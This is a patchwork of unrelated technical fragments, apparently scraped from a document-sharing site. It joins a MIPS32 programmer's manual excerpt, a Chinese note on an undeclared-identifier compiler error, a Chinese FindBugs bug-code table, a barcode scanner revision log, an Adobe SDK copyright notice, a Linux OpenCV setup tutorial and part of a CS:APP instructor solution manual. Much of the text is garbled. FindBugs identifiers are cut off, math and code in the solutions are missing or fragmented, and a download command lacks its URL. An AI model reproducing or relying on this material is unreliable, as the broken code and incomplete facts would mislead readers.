(79)Table A-9: MIPS32 SRLV Encoding of Shift/Rotate (79)Table A-10: MIPS32 BSHFL Encoding of sa Field (79)Table A-11: MIPS32 COP0 Encoding of rs Field (79)Table A-12: MIPS32 COP0 Encoding of Function Field When rs=CO (80)Table A-13: MIPS32 COP1 Encoding of rs Field (80)Table A-14: MIPS32 COP1 Encoding of Function Field When rs=S (80)Table A-15: MIPS32 COP1 Encoding of Function Field When rs=D (81)Table A-16: MIPS32 COP1 Encoding of Function Field When rs=W or L (81)Table A-17: MIPS64 COP1 Encoding of Function Field When rs=PS (81)Table A-18: MIPS32 COP1 Encoding of tf Bit When rs=S, D, or PS, Function=MOVCF (81)Table A-19: MIPS32 COP2 Encoding of rs Field (82)Table A-20: MIPS64 COP1X Encoding of Function Field (82)Table A-21: Floating Point Unit Instruction Format Encodings (82)MIPS32™ Architecture For Programmers Volume I, Revision 2.00v Copyright © 2001-2003 MIPS Technologies Inc. All rights reserved.vi MIPS32™ Architecture For Programmers Volume I, Revision 2.00 Copyright © 2001-2003 MIPS Technologies Inc. All rights reserved.Chapter 1About This BookThe MIPS32™ Architecture For Programmers V olume I comes as a multi-volume set.•V olume I describes conventions used throughout the document set, and provides an introduction to the MIPS32™Architecture•V olume II provides detailed descriptions of each instruction in the MIPS32™ instruction set•V olume III describes the MIPS32™Privileged Resource Architecture which defines and governs the behavior of the privileged resources included in a MIPS32™ processor implementation•V olume IV-a describes the MIPS16e™ Application-Specific Extension to the MIPS32™ Architecture•V olume IV-b describes the MDMX™ Application-Specific Extension to the MIPS32™ Architecture and is notapplicable to the MIPS32™ document set•V olume IV-c describes the MIPS-3D™ Application-Specific Extension to the MIPS64™ Architecture and is notapplicable to the MIPS32™ document set•V olume IV-d describes the SmartMIPS™Application-Specific Extension to the MIPS32™ Architecture1.1Typographical ConventionsThis section describes the use of italic,bold and courier fonts in this book.1.1.1Italic Text•is used for emphasis•is used for bits,fields,registers, that are important from a software perspective (for instance, address bits used bysoftware,and programmablefields and registers),and variousfloating point instruction formats,such as S,D,and PS •is used for the memory access types, such as cached and uncached1.1.2Bold Text•represents a term that is being defined•is used for bits andfields that are important from a hardware perspective (for instance,register bits, which are not programmable but accessible only to hardware)•is used for ranges of numbers; the range is indicated by an ellipsis. For instance,5..1indicates numbers 5 through 1•is used to emphasize UNPREDICTABLE and UNDEFINED behavior, as defined below.1.1.3Courier TextCourier fixed-width font is used for text that is displayed on the screen, and for examples of code and instruction pseudocode.MIPS32™ Architecture For Programmers Volume I, Revision 2.001 Copyright © 2001-2003 MIPS Technologies Inc. All rights reserved.Chapter 1 About This Book1.2UNPREDICTABLE and UNDEFINEDThe terms UNPREDICTABLE and UNDEFINED are used throughout this book to describe the behavior of theprocessor in certain cases.UNDEFINED behavior or operations can occur only as the result of executing instructions in a privileged mode (i.e., in Kernel Mode or Debug Mode, or with the CP0 usable bit set in the Status register).Unprivileged software can never cause UNDEFINED behavior or operations. Conversely, both privileged andunprivileged software can cause UNPREDICTABLE results or operations.1.2.1UNPREDICTABLEUNPREDICTABLE results may vary from processor implementation to implementation,instruction to instruction,or as a function of time on the same implementation or instruction. Software can never depend on results that areUNPREDICTABLE.UNPREDICTABLE operations may cause a result to be generated or not.If a result is generated, it is UNPREDICTABLE.UNPREDICTABLE operations may cause arbitrary exceptions.UNPREDICTABLE results or operations have several implementation restrictions:•Implementations of operations generating UNPREDICTABLE results must not depend on any data source(memory or internal state) which is inaccessible in the current processor mode•UNPREDICTABLE operations must not read, write, or modify the contents of memory or internal state which is inaccessible in the current processor mode. For example,UNPREDICTABLE operations executed in user modemust not access memory or internal state that is only accessible in Kernel Mode or Debug Mode or in another process •UNPREDICTABLE operations must not halt or hang the processor1.2.2UNDEFINEDUNDEFINED operations or behavior may vary from processor implementation to implementation, instruction toinstruction, or as a function of time on the same implementation or instruction.UNDEFINED operations or behavior may vary from nothing to creating an environment in which execution can no longer continue.UNDEFINED operations or behavior may cause data loss.UNDEFINED operations or behavior has one implementation restriction:•UNDEFINED operations or behavior must not cause the processor to hang(that is,enter a state from which there is no exit other than powering down the processor).The assertion of any of the reset signals must restore the processor to an operational state1.3Special Symbols in Pseudocode NotationIn this book, algorithmic descriptions of an operation are described as pseudocode in a high-level language notation resembling Pascal. Special symbols used in the pseudocode notation are listed in Table 1-1.Table 1-1 Symbols Used in Instruction Operation StatementsSymbol Meaning←Assignment=, ≠Tests for equality and inequality||Bit string concatenationx y A y-bit string formed by y copies of the single-bit value x2MIPS32™ Architecture For Programmers Volume I, Revision 2.00 Copyright © 2001-2003 MIPS Technologies Inc. All rights reserved.1.3Special Symbols in Pseudocode Notationb#n A constant value n in base b.For instance10#100represents the decimal value100,2#100represents the binary value 100 (decimal 4), and 16#100 represents the hexadecimal value 100 (decimal 256). If the "b#" prefix is omitted, the default base is 10.x y..z Selection of bits y through z of bit string x.Little-endian bit notation(rightmost bit is0)is used.If y is less than z, this expression is an empty (zero length) bit string.+, −2’s complement or floating point arithmetic: addition, subtraction∗, ×2’s complement or floating point multiplication (both used for either)div2’s complement integer divisionmod2’s complement modulo/Floating point division<2’s complement less-than comparison>2’s complement greater-than comparison≤2’s complement less-than or equal comparison≥2’s complement greater-than or equal comparisonnor Bitwise logical NORxor Bitwise logical XORand Bitwise logical ANDor Bitwise logical ORGPRLEN The length in bits (32 or 64) of the CPU general-purpose registersGPR[x]CPU general-purpose register x. The content of GPR[0] is always zero.SGPR[s,x]In Release 2 of the Architecture, multiple copies of the CPU general-purpose registers may be implemented.SGPR[s,x] refers to GPR set s, register x. GPR[x] is a short-hand notation for SGPR[ SRSCtl CSS, x].FPR[x]Floating Point operand register xFCC[CC]Floating Point condition code CC.FCC[0] has the same value as COC[1].FPR[x]Floating Point (Coprocessor unit 1), general register xCPR[z,x,s]Coprocessor unit z, general register x,select sCP2CPR[x]Coprocessor unit 2, general register xCCR[z,x]Coprocessor unit z, control register xCP2CCR[x]Coprocessor unit 2, control register xCOC[z]Coprocessor unit z condition signalXlat[x]Translation of the MIPS16e GPR number x into the corresponding 32-bit GPR numberBigEndianMem Endian mode as configured at chip reset (0→Little-Endian, 1→ Big-Endian). Specifies the endianness of the memory interface(see LoadMemory and StoreMemory pseudocode function descriptions),and the endianness of Kernel and Supervisor mode execution.BigEndianCPU The endianness for load and store instructions (0→ Little-Endian, 1→ Big-Endian). In User mode, this endianness may be switched by setting the RE bit in the Status register.Thus,BigEndianCPU may be computed as (BigEndianMem XOR ReverseEndian).Table 1-1 Symbols Used in Instruction Operation StatementsSymbol MeaningChapter 1 About This Book1.4For More InformationVarious MIPS RISC processor manuals and additional information about MIPS products can be found at the MIPS URL:ReverseEndianSignal to reverse the endianness of load and store instructions.This feature is available in User mode only,and is implemented by setting the RE bit of the Status register.Thus,ReverseEndian may be computed as (SR RE and User mode).LLbitBit of virtual state used to specify operation for instructions that provide atomic read-modify-write.LLbit is set when a linked load occurs; it is tested and cleared by the conditional store. It is cleared, during other CPU operation,when a store to the location would no longer be atomic.In particular,it is cleared by exception return instructions.I :,I+n :,I-n :This occurs as a prefix to Operation description lines and functions as a label. It indicates the instruction time during which the pseudocode appears to “execute.” Unless otherwise indicated, all effects of the currentinstruction appear to occur during the instruction time of the current instruction.No label is equivalent to a time label of I . Sometimes effects of an instruction appear to occur either earlier or later — that is, during theinstruction time of another instruction.When this happens,the instruction operation is written in sections labeled with the instruction time,relative to the current instruction I ,in which the effect of that pseudocode appears to occur.For example,an instruction may have a result that is not available until after the next instruction.Such an instruction has the portion of the instruction operation description that writes the result register in a section labeled I +1.The effect of pseudocode statements for the current instruction labelled I +1appears to occur “at the same time”as the effect of pseudocode statements labeled I for the following instruction.Within one pseudocode sequence,the effects of the statements take place in order. However, between sequences of statements for differentinstructions that occur “at the same time,” there is no defined order. Programs must not depend on a particular order of evaluation between such sections.PCThe Program Counter value.During the instruction time of an instruction,this is the address of the instruction word. The address of the instruction that occurs during the next instruction time is determined by assigning a value to PC during an instruction time. If no value is assigned to PC during an instruction time by anypseudocode statement,it is automatically incremented by either 2(in the case of a 16-bit MIPS16e instruction)or 4before the next instruction time.A taken branch assigns the target address to the PC during the instruction time of the instruction in the branch delay slot.PABITSThe number of physical address bits implemented is represented by the symbol PABITS.As such,if 36physical address bits were implemented, the size of the physical address space would be 2PABITS = 236 bytes.FP32RegistersModeIndicates whether the FPU has 32-bit or 64-bit floating point registers (FPRs).In MIPS32,the FPU has 3232-bit FPRs in which 64-bit data types are stored in even-odd pairs of FPRs.In MIPS64,the FPU has 3264-bit FPRs in which 64-bit data types are stored in any FPR.In MIPS32implementations,FP32RegistersMode is always a 0.MIPS64implementations have a compatibility mode in which the processor references the FPRs as if it were a MIPS32 implementation. In such a caseFP32RegisterMode is computed from the FR bit in the Status register.If this bit is a 0,the processor operates as if it had 32 32-bit FPRs. If this bit is a 1, the processor operates with 32 64-bit FPRs.The value of FP32RegistersMode is computed from the FR bit in the Status register.InstructionInBranchDelaySlotIndicates whether the instruction at the Program Counter address was executed in the delay slot of a branch or jump. This condition reflects the dynamic state of the instruction, not the static state. That is, the value is false if a branch or jump occurs to an instruction whose PC immediately follows a branch or jump, but which is not executed in the delay slot of a branch or jump.SignalException(exce ption, argument)Causes an exception to be signaled, using the exception parameter as the type of exception and the argument parameter as an exception-specific argument). Control does not return from this pseudocode function - the exception is signaled at the point of the call.Table 1-1 Symbols Used in Instruction Operation StatementsSymbolMeaning。
use undeclared identifier
use undeclared identifier
这个错误通常在编译时出现,表示程序尝试使用一个未声明的变量或函数。
这种情况通常发生在以下情况下:
1. 拼写错误:变量或函数名称拼写错误,无法识别。
2. 作用域问题:变量或函数未在当前作用域中声明,或在该作用域之前声明。
3. 头文件问题:未包含必要的头文件,因此编译器无法识别所需的变量或函数。
4. 类型错误:变量或函数的类型与使用它们的语句不匹配。
要解决这个问题,可以尝试以下方法:
1. 检查变量或函数名称的拼写是否正确。
2. 确保变量或函数已在当前作用域中声明。
3. 确保所需的头文件已包含。
4. 检查变量或函数的类型是否正确。
通过这些方法,您应该能够解决“use undeclared identifier”错误。
- 1 -。
FindBugs错误类型对照表
IMSE_DONT_CATCH_=不良实践- 捕获可疑IllegalMonitorStateExceptionBX_BOXING_IMMEDIATELY_=性能- 基本类型包装之后立刻解包IJU_SETUP_NO_=使用错误- TestCase定义的setUp没有调用super.setUp()TQ_ALWAYS_VALUE_USED_WHERE_NEVER_=使用错误- 某个值使用了注解限制类型,但是这个限制永远不会发生TLW_TWO_LOCK_=多线程错误- 等待两个被持有的锁RV_01_TO_=使用错误- 0至1的随机数被当做整数0NP_PARAMETER_MUST_BE_NONNULL_BUT_MARKED_AS_=高危- 参数必须非null但是标记为可为nullRV_ABSOLUTE_VALUE_OF_RANDOM_=使用错误- 尝试计算32位随机整数的绝对值EC_INCOMPATIBLE_ARRAY_=使用错误- 使用equals()比较不兼容的数组UL_UNRELEASED_LOCK_EXCEPTION_=多线程错误- 方法没有在所有异常路径释放锁SE_NONSTATIC_=不良实践- serialVersionUID不是static的UCF_USELESS_CONTROL_=高危- 无用控制流BC_IMPOSSIBLE_=使用错误- 不可能的转换XSS_REQUEST_PARAMETER_TO_SEND_=安全风险- servlet的反射导致跨站脚本漏洞DM_NEW_FOR_=性能- 仅为了获得一个方法就创建了一个对象OBL_UNSATISFIED_=试验- 方法可能在清理流或资源时失败UW_UNCOND_=多线程错误- 无条件等待DLS_DEAD_LOCAL_STORE_OF_=高危- 把null设置给不会用到的局部变量NM_CLASS_NAMING_=类名应该以大写字母开头RC_REF_COMPARISON_BAD_PRACTICE_=使用错误- 怀疑对两个布尔值的引用进行比较MWN_MISMATCHED_=多线程错误- 不匹配的notify()NM_VERY_=错误- 非常容易迷惑的方法名FI_NULLIFY_=不良实践- 空Finalizer禁用了超类的finalizerMTIA_SUSPECT_STRUTS_INSTANCE_=高危- 继承了struts Action的类使用了实例变量DM_STRING_=性能- 方法调用了效率很低的new String(String)构造方法STCAL_INVOKE_ON_STATIC_DATE_FORMAT_=多线程错误- 调用静态DateFormatNP_NULL_PARAM_DEREF_=使用错误- 非虚拟方法调用向非空参数传入了nullFI_=不良实践- 应该删除空的finalizerCD_CIRCULAR_=试验- 类间存在循环引用EC_UNRELATED_=使用错误- 使用equals()比较不同类型EI_EXPOSE_STATIC_=恶意代码漏洞- 把可变对象保存到静态字段中可能会暴露内部静态状态DMI_INVOKING_TOSTRING_ON_ANONYMOUS_=错误- 对数组执行toStringSIC_INNER_SHOULD_BE_STATIC_=性能- 可以重构成一个静态内部类STI_INTERRUPTED_ON_=错误- 在thread实例上调用了静态Thread.interrupted()方法CN_IDIOM_NO_SUPER_=不良实践- clone方法没有调用super.clone()VA_FORMAT_STRING_BAD_=错误用法- 格式化字符串占位符与传入的参数不匹配EQ_DOESNT_OVERRIDE_=高危- 类没有覆盖父类的equals方法BC_IMPOSSIBLE_DOWNCAST_OF_=错误用法- 集合转换为数组元素时发生的类型转换错误SE_NO_SUITABLE_CONSTRUCTOR_FOR_=不良实践- 类是可扩展的,但是没有提供无参数的构造方法TQ_EXPLICIT_UNKNOWN_SOURCE_VALUE_REACHES_ALWAYS_=错误用法- 数值需要类型标示,但是却标记为未知SIC_INNER_SHOULD_BE_STATIC_NEEDS_=性能- 可以筹够成一个静态内部类EQ_CHECK_FOR_OPERAND_NOT_COMPATIBLE_WITH_=不良实践- equals检测不兼容的参数操作RV_RETURN_VALUE_OF_PUTIFABSENT_=错误用法- 忽略了putIfAbsent的返回值,传递给putIfAbsent的值被重用STCAL_INVOKE_ON_STATIC_CALENDAR_=多线程错误- 调用静态CalendarMS_CANNOT_BE_=恶意代码漏洞- 字段不是final的,不能防止恶意代码的攻击IS_INCONSISTENT_=多线程错误- 不一致的同步SE_NO_=不良实践- 类是可序列化的,但是没有定义serialVersionUIDEI_EXPOSE_=恶意代码漏洞- 可能暴露内部实现,通过与可变对象引用协作NM_METHOD_CONSTRUCTOR_=错误用法- 明显的方法/构造方法混淆ICAST_INTEGER_MULTIPLY_CAST_TO_=高危- 整形乘法的结果转换为long型QF_QUESTIONABLE_FOR_=高危- for循环中存在复杂,微妙或者错误的自增DLS_DEAD_STORE_OF_CLASS_=错误用法- 类中保存了无用字符NM_FUTURE_KEYWORD_USED_AS_MEMBER_=不良实践- 使用了未来java版本中成为关键字的标识BC_VACUOUS_=高危- instanceof会一直返回trueINT_VACUOUS_BIT_=高危- 在整形上进行位操作时有一些位上出现空洞NP_NULL_=错误用法- 一个已知的null值被检测它是否是一个类型的实例SIC_THREADLOCAL_DEADLY_=错误用法- 非静态内部类和ThreadLocal的致命结合EQ_=高危- 罕见的equals方法IJU_NO_=错误用法- TestCase没有任何测试EQ_OVERRIDING_EQUALS_NOT_=错误用法- equals方法覆盖了父类的equals可能功能不符XFB_XML_FACTORY_=高危- 方法直接调用了xml接口的一个具体实现SWL_SLEEP_WITH_LOCK_=多线程错误- 方法在获得锁时调用了Thread.sleep()CN_=不良实践- 类实现了Cloneable ,但是没有定义或使用clone方法WA_AWAIT_NOT_IN_=多线程错误- 未在循环中使用的Condition.await()DM_FP_NUMBER_=性能- 方法调用了低效的浮点书构造方法;应该使用静态的valueOf代替SF_SWITCH_NO_=Switch语句中没有包含defaultNP_NULL_ON_SOME_PATH_FROM_RETURN_=高危- 调用返回返回值可能出现null值NP_CLONE_COULD_RETURN_=不良实践- Clone方法可能返回nullMS_OOI_=恶意代码漏洞- 属性应该从接口中移除并将访问权限设置为包保护DM_BOXED_PRIMITIVE_=性能- 方法使用了装箱的基本类型只为了调用toStringEQ_ABSTRACT_=不良实践- 抽象类定义了协变的equals方法DM_STRING_=性能- 方法调用了String的toString()方法SE_METHOD_MUST_BE_=错误用法- 方法必须是private的为了让序列化正常工作DL_SYNCHRONIZATION_ON_=多线程错误- 在Boolean上使用同步可能导致死锁UWF_UNWRITTEN_=错误用法- 未赋值属性IS2_INCONSISTENT_=多线程错误- 不一致的同步IM_AVERAGE_COMPUTATION_COULD_=高危- 计算平均值可能溢出BIT_SIGNED_CHECK_HIGH_=错误用法- 检查位运算的符号FL_MATH_USING_FLOAT_=错误用法- 方法进行数学运算时使用了浮点数的精度WS_WRITEOBJECT_=多线程错误- 类的writeObject()方法是同步的,但是没有做其他事情RV_RETURN_VALUE_=错误用法- 方法忽略了返回值SQL_NONCONSTANT_STRING_PASSED_TO_=安全风险- 非常量的字符串传递给方法执行SQL语句JCIP_FIELD_ISNT_FINAL_IN_IMMUTABLE_=不良实践- 不可变的类的属性应该是finalAM_CREATES_EMPTY_ZIP_FILE_=不良实践- 创建了一个空的zip文件的入口DM_NEXTINT_VIA_=性能- 使用Random的nextInt方法来获得一个随机整数,而不是nextDouble UI_INHERITANCE_UNSAFE_=不良实践- 如果类被扩展,GetResource的使用可能就是不安全的SIO_SUPERFLUOUS_=错误用法- 不必要的类型检测使用instanceof操作符EQ_OTHER_NO_=错误用法- equals()方法定义,但是没有覆盖equals(Object)USM_USELESS_ABSTRACT_=试验- 抽象方法已经在实现的接口中定义了MTIA_SUSPECT_SERVLET_INSTANCE_=高危- 扩展Servlet的类使用了实例变量DM_USELESS_=多线程错误- 使用默认的空run方法创建了一个线程ML_SYNC_ON_UPDATED_=多线程错误- 方法在一个修改了的属性上进行了同步CO_SELF_NO_=不良实践- 协变的compareTo()定义BC_UNCONFIRMED_=高危- 未检查/未证实的类型转换FI_FINALIZER_NULLS_=不良实践- Finalizer空属性BIT_=错误用法- 不兼容的位掩码(BIT_AND)FE_FLOATING_POINT_=高危- 测试浮点数相等TQ_EXPLICIT_UNKNOWN_SOURCE_VALUE_REACHES_NEVER_=错误用法- 值不要求有类型标示,但是标记为未知NP_NULL_PARAM_=错误用法- 方法调用把null传递给一个非null参数FB_MISSING_EXPECTED_=试验- findbugs丢失了期待或需要的警告DMI_INVOKING_HASHCODE_ON_=错误用法- 在数组上调用了hashCodeQBA_QUESTIONABLE_BOOLEAN_=错误用法- 方法在布尔表达式中分配了boolean文字SA_FIELD_SELF_=错误用法- 属性自己与自己进行了比较UR_UNINIT_READ_CALLED_FROM_SUPER_=错误用法- 父类的构造方法调用未初始化属性的方法ES_COMPARING_PARAMETER_STRING_WITH_EQ.na me=不良实践- 比较字符串参数使用了== 或!=INT_BAD_COMPARISON_WITH_NONNEGATIVE_=错误用法- 错误比较非负值与负数INT_BAD_COMPARISON_WITH_SIGNED_=错误用法- 错误比较带符号的byteIO_APPENDING_TO_OBJECT_OUTPUT_=错误用法- 尝试向一个对象输出流添加信息FI_MISSING_SUPER_=不良实践- Finalizer没有调用父类的finalizerVA_FORMAT_STRING_EXTRA_ARGUMENTS_=错误用法- 传递了多余实际使用的格式化字符串的参数HE_EQUALS_USE_=不良实践- 类定义了equals(),但使用了Object.hashCode()IJU_BAD_SUITE_=错误用法- TestCase声明了一个错误的suite方法DMI_CONSTANT_DB_=安全风险- 硬编码了数据库密码REC_CATCH_=高危- 捕获了没有抛出的异常PS_PUBLIC_=高危- 类在公用接口中暴露了同步和信号EC_UNRELATED_=错误用法- 调用equals()比较不同的接口类型UCF_USELESS_CONTROL_FLOW_NEXT_=错误用法- 执行到下一行的无用流程控制LG_LOST_LOGGER_DUE_TO_WEAK_=试验- OpenJDK中存在潜在的丢失logger的风险,因为弱引用NP_UNWRITTEN_=错误用法- 读取未初始化的属性DMI_UNSUPPORTED_=高危- 调用不支持的方法RCN_REDUNDANT_COMPARISON_OF_NULL_AND_NONNULL_=高危- 重复比较非空值和nullEC_BAD_ARRAY_=错误用法- 调用equals(),与==效果一样EI_EXPOSE_=恶意代码漏洞- 可能通过返回一个可变对象的引用暴露了内部实现NP_DEREFERENCE_OF_READLINE_=高危- 没有判断readLine()的结果是否为空UPM_UNCALLED_PRIVATE_=性能- 从未用到的私有方法NP_NULL_ON_SOME_=错误用法- 可能出现空指针引用NP_EQUALS_SHOULD_HANDLE_NULL_=不良实践- equals()方法没有检测null参数EC_NULL_=错误用法- 使用空参数调用equals()SE_BAD_FIELD_=不良实践- 非序列化值保存在序列化类的实例变量中VO_VOLATILE_REFERENCE_TO_=多线程错误- 数组的volatile引用不会把数组元素也当做volatile来引用NP_SYNC_AND_NULL_CHECK_=多线程错误- 同步和空值检测发生在同一个属性上DM_=不良实践- 方法调用了System.exit(...)RC_REF_=不良实践- 怀疑进行了引用比较SE_NO_SUITABLE_=不良实践- 类是可序列化的,但是父类没有定义无参数构造方法DC_=多线程错误- 可能对属性进行了双重检测DMI_LONG_BITS_TO_DOUBLE_INVOKED_ON_=错误用法- 在int上调用了Double.longBitsToDouble RpC_REPEATED_CONDITIONAL_=错误用法- 重复判断条件WMI_WRONG_MAP_=性能- keySet迭代是低效的,使用entrySet代替DLS_DEAD_LOCAL_=高危- 未用的局部变量INT_BAD_REM_BY_=错误用法- 整数剩余模1RV_RETURN_VALUE_IGNORED_BAD_=不良实践- 方法忽略异常返回值SA_LOCAL_SELF_=高危- 局部变量的自我赋值MS_SHOULD_BE_=恶意代码漏洞- 属性不是final,但是应该设置成finalSIC_INNER_SHOULD_BE_=性能- 应该是一个静态内部类NP_GUARANTEED_=错误用法- null值一定会被调用SE_READ_RESOLVE_MUST_RETURN_=不良实践- readResolve方法必须返回ObjectNP_LOAD_OF_KNOWN_NULL_=高危- 加载了已知的null值BX_BOXING_IMMEDIATELY_UNBOXED_TO_PERFORM_=性能- 基本数据被装箱又被拆箱CN_IMPLEMENTS_CLONE_BUT_NOT_=不良实践- 类定义了clone()但没有实现CloneableCO_ABSTRACT_=不良实践- 抽象类定义了协变的compareTo()方法BAC_BAD_APPLET_=试验- 错误的Applet构造方法依赖未初始化的AppletStubEQ_GETCLASS_AND_CLASS_=不良实践- equals方法因为子类失败DB_DUPLICATE_SWITCH_=高危- 在两个switch语句中使用了相同的代码DB_DUPLICATE_=高危- 在两个分支中使用了相同的代码UOE_USE_OBJECT_=试验- 在final类上调用了equals,但是没有覆盖Object的equals方法FI_=不良实践- Finalizer除了调用父类的finalizer以外什么也没做NP_ALWAYS_=错误用法- 调用了null指针DMI_VACUOUS_SELF_COLLECTION_=错误用法- 集合的调用不能被感知DLS_DEAD_LOCAL_STORE_IN_=错误用法- 返回语句中的无用的赋值IJU_ASSERT_METHOD_INVOKED_FROM_RUN_=错误用法- 在run方法中的JUnit检验不能报告给JUnitDMI_EMPTY_DB_=安全风险- 空的数据库密码DM_BOOLEAN_=性能- 方法调用了低效的Boolean构造方法;使用Boolean.valueOf(...)代替BC_IMPOSSIBLE_=错误用法- 不可能转型BC_EQUALS_METHOD_SHOULD_WORK_FOR_ALL_=不良实践- Equals方法不应该假设任何有关参数类型的事宜RV_EXCEPTION_NOT_=错误用法- 异常创建后就丢弃了,没有抛出VA_PRIMITIVE_ARRAY_PASSED_TO_OBJECT_=错误用法- 基本类型数组传递给一个期待可变对象类型参数的方法LI_LAZY_INIT_UPDATE_=多线程错误- 错误的延迟初始化和更新静态属性SA_FIELD_SELF_=错误用法- 属性自身赋值EQ_ALWAYS_=错误用法- equals方法一直返回falseDMI_RANDOM_USED_ONLY_=不良实践- Random对象创建后只用了一次NM_CLASS_NOT_=不良实践- Class没有继承Exception,虽然名字像一个异常SA_LOCAL_DOUBLE_=高危- 给局部变量双重赋值NP_NULL_PARAM_DEREF_ALL_TARGETS_=错误用法- 方法调用传递null给非空参数(ALL_TARGETS_DANGEROUS)NP_TOSTRING_COULD_RETURN_=不良实践- toString方法可能返回nullBC_BAD_CAST_TO_ABSTRACT_=高危- 转换成抽象集合值得怀疑NM_LCASE_=类定义了hashcode(); 应该是hashCode()吧?RU_INVOKE_=多线程错误- 在线程中调用了run(你的意思是再启动一次么?)DMI_INVOKING_TOSTRING_ON_=错误用法- 调用了数组的toStringNM_METHOD_NAMING_=方法名应该以小写字母开头RCN_REDUNDANT_COMPARISON_TWO_NULL_=高危- 重复比较两个null值SA_LOCAL_SELF_=错误用法- 对一个变量进行无意义的自我计算(比如x & x)MS_MUTABLE_=恶意代码漏洞- 属性是可变的HashtableRV_DONT_JUST_NULL_CHECK_=高危- 方法丢掉了readLine的结果,在检测它是非空之后。
DS2208数字扫描器产品参考指南说明书
-05 Rev. A
6/2018
Rev. B Software Updates Added: - New Feedback email address. - Grid Matrix parameters - Febraban parameter - USB HID POS (formerly known as Microsoft UWP USB) - Product ID (PID) Type - Product ID (PID) Value - ECLevel
-06 Rev. A
10/2018 - Added Grid Matrix sample bar code. - Moved 123Scan chapter.
-07 Rev. A
11/2019
Added: - SITA and ARINC parameters. - IBM-485 Specification Version.
No part of this publication may be reproduced or used in any form, or by any electrical or mechanical means, without permission in writing from Zebra. This includes electronic or mechanical means, such as photocopying, recording, or information storage and retrieval systems. The material in this manual is subject to change without notice.
Adobe Acrobat SDK 开发者指南说明书
This guide is governed by the Adobe Acrobat SDK License Agreement and may be used or copied only in accordance with the terms of this agreement. Except as permitted by any such agreement, no part of this guide may be reproduced, stored in a retrieval system, or transmitted, in any form or by any means, electronic, mechanical, recording, or otherwise, without the prior written permission of Adobe. Please note that the content in this guide is protected under copyright law.
linux cascadeclassifier路径 -回复
linux cascadeclassifier路径-回复Linux CascadeClassifier 路径是指在Linux操作系统中使用CascadeClassifier进行目标检测时,需要配置的CascadeClassifier模型的路径。
CascadeClassifier是一种基于Haar特征的级联分类器,特别适用于人脸检测。
本文将一步一步回答如何设置Linux CascadeClassifier路径。
一、什么是CascadeClassifier?CascadeClassifier是OpenCV库中提供的一种级联分类器,它基于Haar特征并通过Adaboost算法进行级联训练。
CascadeClassifier可以用于目标检测,特别是人脸检测。
它的分类器模型文件(.xml)描述了训练好的级联分类器的特征。
二、在Linux中安装OpenCV在Linux上使用CascadeClassifier之前,首先需要在Linux系统上安装OpenCV库。
1. 打开终端,并使用以下命令安装OpenCV库:sudo apt-get updatesudo apt-get install libopencv-dev2. 等待安装过程完成,检查OpenCV是否安装成功:pkg-config modversion opencv如果成功安装,终端将显示OpenCV的版本号。
三、获取CascadeClassifier文件在Linux操作系统中,CascadeClassifier的路径指向训练好的级联分类器模型文件(.xml)。
你可以选择从OpenCV官方仓库中下载现成的CascadeClassifier模型文件,也可以自己训练一个。
1. 下载现成的CascadeClassifier模型文件:wget上述命令将在当前目录下载一个名为"haarcascade_frontalface_default.xml"的级联分类器模型文件。
answer
Computer Systems:A Programmer’s PerspectiveInstructor’s Solution Manual1Randal E.BryantDavid R.O’HallaronDecember4,20031Copyright c2003,R.E.Bryant,D.R.O’Hallaron.All rights reserved.2Chapter1Solutions to Homework ProblemsThe text uses two different kinds of exercises:Practice Problems.These are problems that are incorporated directly into the text,with explanatory solutions at the end of each chapter.Our intention is that students will work on these problems as they read the book.Each one highlights some particular concept.Homework Problems.These are found at the end of each chapter.They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignments or to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter1:A Tour of Computer Systems1.2Chapter2:Representing and Manipulating InformationProblem2.40Solution:This exercise should be a straightforward variation on the existing code.2CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS1011void show_double(double x)12{13show_bytes((byte_pointer)&x,sizeof(double));14}code/data/show-ans.c 1int is_little_endian(void)2{3/*MSB=0,LSB=1*/4int x=1;56/*Return MSB when big-endian,LSB when little-endian*/7return(int)(*(char*)&x);8}1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION3 There are many solutions to this problem,but it is a little bit tricky to write one that works for any word size.Here is our solution:code/data/shift-ans.c The above code peforms a right shift of a word in which all bits are set to1.If the shift is arithmetic,the resulting word will still have all bits set to1.Problem2.45Solution:This problem illustrates some of the challenges of writing portable code.The fact that1<<32yields0on some32-bit machines and1on others is common source of bugs.A.The C standard does not define the effect of a shift by32of a32-bit datum.On the SPARC(andmany other machines),the expression x<<k shifts by,i.e.,it ignores all but the least significant5bits of the shift amount.Thus,the expression1<<32yields1.pute beyond_msb as2<<31.C.We cannot shift by more than15bits at a time,but we can compose multiple shifts to get thedesired effect.Thus,we can compute set_msb as2<<15<<15,and beyond_msb as set_msb<<1.Problem2.46Solution:This problem highlights the difference between zero extension and sign extension.It also provides an excuse to show an interesting trick that compilers often use to use shifting to perform masking and sign extension.A.The function does not perform any sign extension.For example,if we attempt to extract byte0fromword0xFF,we will get255,rather than.B.The following code uses a well-known trick for using shifts to isolate a particular range of bits and toperform sign extension at the same time.First,we perform a left shift so that the most significant bit of the desired byte is at bit position31.Then we right shift by24,moving the byte into the proper position and peforming sign extension at the same time.4CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 3int left=word<<((3-bytenum)<<3);4return left>>24;5}Problem2.48Solution:This problem lets students rework the proof that complement plus increment performs negation.We make use of the property that two’s complement addition is associative,commutative,and has additive ing C notation,if we define y to be x-1,then we have˜y+1equal to-y,and hence˜y equals -y+1.Substituting gives the expression-(x-1)+1,which equals-x.Problem2.49Solution:This problem requires a fairly deep understanding of two’s complement arithmetic.Some machines only provide one form of multiplication,and hence the trick shown in the code here is actually required to perform that actual form.As seen in Equation2.16we have.Thefinal term has no effect on the-bit representation of,but the middle term represents a correction factor that must be added to the high order bits.This is implemented as follows:code/data/uhp-ans.c Problem2.50Solution:Patterns of the kind shown here frequently appear in compiled code.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION5A.:x+(x<<2)B.:x+(x<<3)C.:(x<<4)-(x<<1)D.:(x<<3)-(x<<6)Problem2.51Solution:Bit patterns similar to these arise in many applications.Many programmers provide them directly in hex-adecimal,but it would be better if they could express them in more abstract ways.A..˜((1<<k)-1)B..((1<<k)-1)<<jProblem2.52Solution:Byte extraction and insertion code is useful in many contexts.Being able to write this sort of code is an important skill to foster.code/data/rbyte-ans.c Problem2.53Solution:These problems are fairly tricky.They require generating masks based on the shift amounts.Shift value k equal to0must be handled as a special 